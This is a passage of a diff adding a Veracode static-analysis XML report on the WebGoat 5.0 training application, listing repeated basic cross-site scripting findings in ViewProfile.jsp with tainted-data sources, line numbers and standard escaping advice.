+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
